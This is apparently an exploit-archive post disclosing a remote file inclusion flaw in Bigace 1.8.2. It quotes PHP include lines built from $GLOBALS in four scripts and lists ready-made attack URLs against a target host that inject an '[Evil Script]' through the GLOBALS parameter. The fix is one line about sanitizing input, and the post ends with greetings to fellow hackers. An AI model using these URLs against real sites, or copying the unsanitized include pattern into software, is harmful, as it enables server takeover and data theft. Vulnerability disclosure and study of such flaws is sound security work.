Author : Vampire
Location : Iran - Tehran
HomePage : http://www.hackerz.ir
Email : Vampire_chiristof[at]yahoo[dot]com
Critical Level : Dangerous
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Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Bigace
version : 1.8.2
URL : http://Bigace.sourceforge.net
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Vulnerability:
~~~~~~~~~~~~~
in download.cmd.php , admin.cmd.php , upload_form.php We Found Vulnerability Script
----------------------------------------admin.cmd.php-------------------
----
---------------
....
<?php
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'styling.php');
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'functions.inc.php');
include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php');
?>
...
----------------------------------------download.cmd.php----------------
-------
---------------
....
<?php
include_once($GLOBALS['_BIGACE']['DIR']['libs'].'io.inc.php');
?>
...
----------------------------------------upload_form.php-----------------
------
---------------
....
<?php
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants
.php');
?>
...
----------------------------------------item_main.php-------------------
----
---------------
....
<?php
require_once($GLOBALS['_BIGACE']['DIR']['admin'].'include/mode_constants
.php');
?>
...
Exploit:
~~~~~~~
http://www.target.com/[Bigace]/system/admin/include/item_main.php?GLOBAL
S=[Evil Script]
http://www.target.com/[Bigace]/system/admin/include/upload_form.php?GLOB
ALS=[Evil Script]
http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[
Evil Script]
http://www.target.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[
Evil Script]
http://www.target.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evi
l Script]
Solution:
~~~~~~~~
Sanitize Variabel $GLOBALS in download.cmd.php , admin.cmd.php , item_main.php , upload_form.php
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Shoutz:
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~ Special Greetz to My Best Friends Cephexin , Sh3ll , MFOX , Alijbs and All Real Hackers